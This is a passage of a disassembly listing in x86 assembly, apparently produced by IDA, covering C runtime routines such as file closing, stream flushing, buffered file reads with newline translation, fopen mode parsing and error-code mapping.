arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_480D40
		jnb	loc_41161E
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:480C40h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41161E
		push	edi
		call	sub_4140D6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4115FD
		cmp	edi, 1
		jz	short loc_4115CB
		cmp	edi, 2
		jnz	short loc_4115E1


loc_4115CB:				; CODE XREF: sub_411584+40j
		push	2
		call	sub_4140D6
		push	1
		mov	ebp, eax
		call	sub_4140D6
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_4115FD


loc_4115E1:				; CODE XREF: sub_411584+45j
		push	edi
		call	sub_4140D6
		pop	ecx
		push	eax
		call	dword_417074	; CloseHandle
		test	eax, eax
		jnz	short loc_4115FD
		call	dword_417044	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_4115FF
; ---------------------------------------------------------------------------


loc_4115FD:				; CODE XREF: sub_411584+3Bj
					; sub_411584+5Bj ...
		xor	ebp, ebp


loc_4115FF:				; CODE XREF: sub_411584+77j
		push	edi
		call	sub_41405C
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41161A
		push	ebp
		call	sub_411C26
		pop	ecx
		jmp	short loc_41162F
; ---------------------------------------------------------------------------


loc_41161A:				; CODE XREF: sub_411584+8Bj
		xor	eax, eax
		jmp	short loc_411632
; ---------------------------------------------------------------------------


loc_41161E:				; CODE XREF: sub_411584+Ej
					; sub_411584+2Fj
		and	dword_47F918, 0
		mov	dword_47F914, 9


loc_41162F:				; CODE XREF: sub_411584+94j
		or	eax, 0FFFFFFFFh


loc_411632:				; CODE XREF: sub_411584+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_411584	endp


; =============== S U B	R O U T	I N E =======================================



sub_411637	proc near		; CODE XREF: sub_40C3BA+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_411660
		test	al, 8
		jz	short loc_411660
		push	dword ptr [esi+8]
		call	sub_40B771
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_411660:				; CODE XREF: sub_411637+Aj
					; sub_411637+Ej
		pop	esi
		retn
sub_411637	endp


; =============== S U B	R O U T	I N E =======================================



sub_411662	proc near		; CODE XREF: sub_411702+2Dp
					; sub_411702+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_411674
		push	esi
		call	sub_411702
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411674:				; CODE XREF: sub_411662+7j
		push	esi
		call	sub_41169D
		test	eax, eax
		pop	ecx
		jz	short loc_411684
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411684:				; CODE XREF: sub_411662+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_411699
		push	dword ptr [esi+10h]
		call	sub_414113
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_411699:				; CODE XREF: sub_411662+26j
		xor	eax, eax
		pop	esi
		retn
sub_411662	endp


; =============== S U B	R O U T	I N E =======================================



sub_41169D	proc near		; CODE XREF: sub_40C3BA+1Ap
					; sub_40D488+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_4116EA
		test	ax, 108h
		jz	short loc_4116EA
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4116EA
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_413190
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_4116E3
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_4116EA
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_4116EA
; ---------------------------------------------------------------------------


loc_4116E3:				; CODE XREF: sub_41169D+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_4116EA:				; CODE XREF: sub_41169D+14j
					; sub_41169D+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41169D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4116F9	proc near		; CODE XREF: sub_41344Cp
		push	1
		call	sub_411702
		pop	ecx
		retn
sub_4116F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_411702	proc near		; CODE XREF: sub_411662+Ap
					; sub_4116F9+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_480C20, esi
		jle	short loc_411760


loc_411713:				; CODE XREF: sub_411702+5Cj
		mov	eax, dword_47FC08
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_411757
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_411757
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41173D
		push	eax
		call	sub_411662
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_411757
		inc	ebx
		jmp	short loc_411757
; ---------------------------------------------------------------------------


loc_41173D:				; CODE XREF: sub_411702+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_411757
		test	cl, 2
		jz	short loc_411757
		push	eax
		call	sub_411662
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_411757
		or	edi, eax


loc_411757:				; CODE XREF: sub_411702+1Bj
					; sub_411702+23j ...
		inc	esi
		cmp	esi, dword_480C20
		jl	short loc_411713


loc_411760:				; CODE XREF: sub_411702+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41176B
		mov	eax, edi


loc_41176B:				; CODE XREF: sub_411702+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_411702	endp


; =============== S U B	R O U T	I N E =======================================



sub_41176F	proc near		; CODE XREF: sub_40C410+A9p
					; sub_40D361+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_411843
		test	al, 40h
		jnz	loc_411843
		test	al, 2
		jz	short loc_411795
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_411843
; ---------------------------------------------------------------------------


loc_411795:				; CODE XREF: sub_41176F+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_4117A9
		push	esi
		call	sub_41333D
		pop	ecx
		jmp	short loc_4117AE
; ---------------------------------------------------------------------------


loc_4117A9:				; CODE XREF: sub_41176F+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_4117AE:				; CODE XREF: sub_41176F+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_411848
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_411832
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411832
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_411807
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_4117F0
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_480C40[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_4117F5
; ---------------------------------------------------------------------------


loc_4117F0:				; CODE XREF: sub_41176F+6Bj
		mov	edi, offset dword_420278


loc_4117F5:				; CODE XREF: sub_41176F+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_411807
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_411807:				; CODE XREF: sub_41176F+62j
					; sub_41176F+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_411824
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_411824
		test	ch, 4
		jnz	short loc_411824
		mov	dword ptr [esi+18h], 1000h


loc_411824:				; CODE XREF: sub_41176F+9Fj
					; sub_41176F+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411832:				; CODE XREF: sub_41176F+55j
					; sub_41176F+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_411843:				; CODE XREF: sub_41176F+Aj
					; sub_41176F+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41176F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411848	proc near		; CODE XREF: sub_40C410+90p
					; sub_41176F+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_480D40
		jnb	loc_411A25
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:480C40h[eax*4]
		mov	eax, dword_480C40[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_411A25
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_4118FD
		test	dl, 2
		jnz	short loc_4118FD
		test	dl, 48h
		jz	short loc_4118BD
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_4118BD
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_4118BD:				; CODE XREF: sub_411848+56j
					; sub_411848+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_417148	; ReadFile
		test	eax, eax
		jnz	short loc_411910
		call	dword_417044	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_4118F8
		mov	dword_47F914, 9
		mov	dword_47F918, ecx
		jmp	loc_411A36
; ---------------------------------------------------------------------------


loc_4118F8:				; CODE XREF: sub_411848+99j
		cmp	eax, 6Dh
		jnz	short loc_411904


loc_4118FD:				; CODE XREF: sub_411848+4Cj
					; sub_411848+51j
		xor	eax, eax
		jmp	loc_411A39
; ---------------------------------------------------------------------------


loc_411904:				; CODE XREF: sub_411848+B3j
		push	eax
		call	sub_411C26
		pop	ecx
		jmp	loc_411A36
; ---------------------------------------------------------------------------


loc_411910:				; CODE XREF: sub_411848+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_411A20
		test	edx, edx
		jz	short loc_411935
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_411935
		or	al, 4
		jmp	short loc_411937
; ---------------------------------------------------------------------------


loc_411935:				; CODE XREF: sub_411848+E2j
					; sub_411848+E7j
		and	al, 0FBh


loc_411937:				; CODE XREF: sub_411848+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_411A1A


loc_41194F:				; CODE XREF: sub_411848+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_411A0A
		cmp	al, 0Dh
		jz	short loc_41196B
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_4119FC
; ---------------------------------------------------------------------------


loc_41196B:				; CODE XREF: sub_411848+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_411989
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_411980
		add	[ebp+arg_8], 2
		jmp	short loc_4119DE
; ---------------------------------------------------------------------------


loc_411980:				; CODE XREF: sub_411848+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_4119FC
; ---------------------------------------------------------------------------


loc_411989:				; CODE XREF: sub_411848+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_417148	; ReadFile
		test	eax, eax
		jnz	short loc_4119B1
		call	dword_417044	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4119F8


loc_4119B1:				; CODE XREF: sub_411848+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_4119F8
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_4119D3
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_4119DE
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_4119FC
; ---------------------------------------------------------------------------


loc_4119D3:				; CODE XREF: sub_411848+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_4119E3
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_4119E3


loc_4119DE:				; CODE XREF: sub_411848+136j
					; sub_411848+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_4119FB
; ---------------------------------------------------------------------------


loc_4119E3:				; CODE XREF: sub_411848+18Ej
					; sub_411848+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_412573
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_4119FC


loc_4119F8:				; CODE XREF: sub_411848+167j
					; sub_411848+16Dj
		mov	byte ptr [edi],	0Dh


loc_4119FB:				; CODE XREF: sub_411848+199j
		inc	edi


loc_4119FC:				; CODE XREF: sub_411848+11Ej
					; sub_411848+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41194F
		jmp	short loc_411A1A
; ---------------------------------------------------------------------------


loc_411A0A:				; CODE XREF: sub_411848+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_411A1A
		or	al, 2
		mov	[esi], al


loc_411A1A:				; CODE XREF: sub_411848+101j
					; sub_411848+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_411A20:				; CODE XREF: sub_411848+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_411A39
; ---------------------------------------------------------------------------


loc_411A25:				; CODE XREF: sub_411848+12j
					; sub_411848+39j
		and	dword_47F918, 0
		mov	dword_47F914, 9


loc_411A36:				; CODE XREF: sub_411848+ABj
					; sub_411848+C3j
		or	eax, 0FFFFFFFFh


loc_411A39:				; CODE XREF: sub_411848+B7j
					; sub_411848+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411848	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A3E	proc near		; CODE XREF: sub_40C798+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_47FB18
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_411A77
		cmp	al, 72h
		jz	short loc_411A70
		cmp	al, 77h
		jnz	loc_411B8B
		mov	ecx, 301h
		jmp	short loc_411A7C
; ---------------------------------------------------------------------------


loc_411A70:				; CODE XREF: sub_411A3E+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_411A7F
; ---------------------------------------------------------------------------


loc_411A77:				; CODE XREF: sub_411A3E+1Dj
		mov	ecx, 109h


loc_411A7C:				; CODE XREF: sub_411A3E+30j
		or	esi, 2


loc_411A7F:				; CODE XREF: sub_411A3E+37j
		push	1
		pop	edx


loc_411A82:				; CODE XREF: sub_411A3E+8Bj
					; sub_411A3E+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_411B71
		cmp	edx, ebx
		jz	loc_411B71
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_411B10
		jz	short loc_411B00
		sub	eax, 2Bh
		jz	short loc_411AEA
		sub	eax, 19h
		jz	short loc_411AE0
		sub	eax, 0Eh
		jz	short loc_411ACB
		dec	eax
		jnz	loc_411B62
		cmp	[ebp+var_4], ebx
		jnz	loc_411B62
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_411A82
; ---------------------------------------------------------------------------


loc_411ACB:				; CODE XREF: sub_411A3E+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_411B62
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_411A82
; ---------------------------------------------------------------------------


loc_411AE0:				; CODE XREF: sub_411A3E+6Aj
		test	cl, 40h
		jnz	short loc_411B62
		or	ecx, 40h
		jmp	short loc_411A82
; ---------------------------------------------------------------------------


loc_411AEA:				; CODE XREF: sub_411A3E+65j
		test	cl, 2
		jnz	short loc_411B62
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_411A82
; ---------------------------------------------------------------------------


loc_411B00:				; CODE XREF: sub_411A3E+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_411B62
		or	ecx, eax
		jmp	loc_411A82
; ---------------------------------------------------------------------------


loc_411B10:				; CODE XREF: sub_411A3E+5Ej
		sub	eax, 62h
		jz	short loc_411B5D
		dec	eax
		jz	short loc_411B46
		sub	eax, 0Bh
		jz	short loc_411B2F
		sub	eax, 6
		jnz	short loc_411B62
		test	ch, 0C0h
		jnz	short loc_411B62
		or	ch, 40h
		jmp	loc_411A82
; ---------------------------------------------------------------------------


loc_411B2F:				; CODE XREF: sub_411A3E+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_411B62
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_411A82
; ---------------------------------------------------------------------------


loc_411B46:				; CODE XREF: sub_411A3E+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_411B62
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_411A82
; ---------------------------------------------------------------------------


loc_411B5D:				; CODE XREF: sub_411A3E+D5j
		test	ch, 0C0h
		jz	short loc_411B69


loc_411B62:				; CODE XREF: sub_411A3E+72j
					; sub_411A3E+7Bj ...
		xor	edx, edx
		jmp	loc_411A82
; ---------------------------------------------------------------------------


loc_411B69:				; CODE XREF: sub_411A3E+122j
		or	ch, 80h
		jmp	loc_411A82
; ---------------------------------------------------------------------------


loc_411B71:				; CODE XREF: sub_411A3E+4Aj
					; sub_411A3E+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41416A
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_411B8F


loc_411B8B:				; CODE XREF: sub_411A3E+25j
		xor	eax, eax
		jmp	short loc_411BA9
; ---------------------------------------------------------------------------


loc_411B8F:				; CODE XREF: sub_411A3E+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_47FAD8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_411BA9:				; CODE XREF: sub_411A3E+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411A3E	endp


; =============== S U B	R O U T	I N E =======================================



sub_411BAE	proc near		; CODE XREF: sub_40C798p
		mov	edx, dword_480C20
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_411C1F
		mov	ebx, dword_47FC08
		mov	edi, ebx


loc_411BCA:				; CODE XREF: sub_411BAE+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_411BE5
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_411BE0
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_411BCA
		jmp	short loc_411C1F
; ---------------------------------------------------------------------------


loc_411BE0:				; CODE XREF: sub_411BAE+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_411C09
; ---------------------------------------------------------------------------


loc_411BE5:				; CODE XREF: sub_411BAE+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_40B6BF
		pop	ecx
		mov	ecx, dword_47FC08
		mov	[edi+ecx], eax
		mov	eax, dword_47FC08
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_411C1F
		mov	esi, edi


loc_411C09:				; CODE XREF: sub_411BAE+35j
		cmp	esi, ebp
		jz	short loc_411C1F
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_411C1F:				; CODE XREF: sub_411BAE+12j
					; sub_411BAE+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_411BAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_411C26	proc near		; CODE XREF: sub_40C7CB+16p
					; sub_40D3E7+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_47F918, ecx
		mov	eax, offset dword_41FF90


loc_411C37:				; CODE XREF: sub_411C26+1Ej
		cmp	ecx, [eax]
		jz	short loc_411C5B
		add	eax, 8
		inc	edx
		cmp	eax, offset byte_4200F8
		jl	short loc_411C37
		cmp	ecx, 13h
		jb	short loc_411C68
		cmp	ecx, 24h
		ja	short loc_411C68
		mov	dword_47F914, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_411C5B:				; CODE XREF: sub_411C26+13j
		mov	eax, dword_41FF94[edx*8]
		mov	dword_47F914, eax
		retn
; ---------------------------------------------------------------------------


loc_411C68:				; CODE XREF: sub_411C26+23j
					; sub_411C26+28j
		cmp	ecx, 0BCh
		jb	short loc_411C82
		cmp	ecx, 0CAh
		mov	dword_47F914, 8
		jbe	short locret_411C8C


loc_411C82:				; CODE XREF: sub_411C26+48j
		mov	dword_47F914, 16h

locret_411C8C:				; CODE XREF: sub_411C26+5Aj
		retn
sub_411C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C8D	proc near		; CODE XREF: sub_40CA73+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_47F9A4, 0
		push	ebx
		jnz	short loc_411CB8
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_411D56
		cmp	eax, 7Ah
		jg	loc_411D56
		sub	eax, 20h
		jmp	loc_411D56
; ---------------------------------------------------------------------------


loc_411CB8:				; CODE XREF: sub_411C8D+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_411CEB
		cmp	dword_41FF84, 1
		jle	short loc_411CD8
		push	2
		push	ebx
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_411CE3
; ---------------------------------------------------------------------------


loc_411CD8:				; CODE XREF: sub_411C8D+3Dj
		mov	eax, off_41FD78
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_411CE3:				; CODE XREF: sub_411C8D+49j
		test	eax, eax
		jnz	short loc_411CEB


loc_411CE7:				; CODE XREF: sub_411C8D+AFj
		mov	eax, ebx
		jmp	short loc_411D56
; ---------------------------------------------------------------------------


loc_411CEB:				; CODE XREF: sub_411C8D+34j
					; sub_411C8D+58j
		mov	edx, off_41FD78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_411D0E
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_411D17
; ---------------------------------------------------------------------------


loc_411D0E:				; CODE XREF: sub_411C8D+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_411D17:				; CODE XREF: sub_411C8D+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_47F9A4
		call	sub_411E1B
		add	esp, 20h
		test	eax, eax
		jz	short loc_411CE7
		cmp	eax, 1
		jnz	short loc_411D49
		movzx	eax, [ebp+var_4]
		jmp	short loc_411D56
; ---------------------------------------------------------------------------


loc_411D49:				; CODE XREF: sub_411C8D+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_411D56:				; CODE XREF: sub_411C8D+14j
					; sub_411C8D+1Dj ...
		pop	ebx
		leave
		retn
sub_411C8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D59	proc near		; CODE XREF: sub_40CC92+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_411E15
		cmp	ebx, 8Ah
		jg	loc_411E15
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_4206AC[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_411D98
		cmp	edi, 2
		jle	short loc_411D98
		inc	esi


loc_411D98:				; CODE XREF: sub_411D59+37j
					; sub_411D59+3Cj
		call	sub_414423
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_4205C8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_411E0B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_411E11
		cmp	dword_4205CC, 0
		jz	short loc_411E11
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_414696
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_411E11


loc_411E0B:				; CODE XREF: sub_411D59+90j
		add	ecx, dword_4205D0


loc_411E11:				; CODE XREF: sub_411D59+96j
					; sub_411D59+9Fj ...
		mov	eax, ecx
		jmp	short loc_411E18
; ---------------------------------------------------------------------------


loc_411E15:				; CODE XREF: sub_411D59+13j
					; sub_411D59+1Fj
		or	eax, 0FFFFFFFFh


loc_411E18:				; CODE XREF: sub_411D59+BAj
		pop	ebx
		leave
		retn
sub_411D59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E1B	proc near		; CODE XREF: sub_40CEE0+A3p
					; sub_411C8D+A5p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417868
		push	offset sub_412F2C
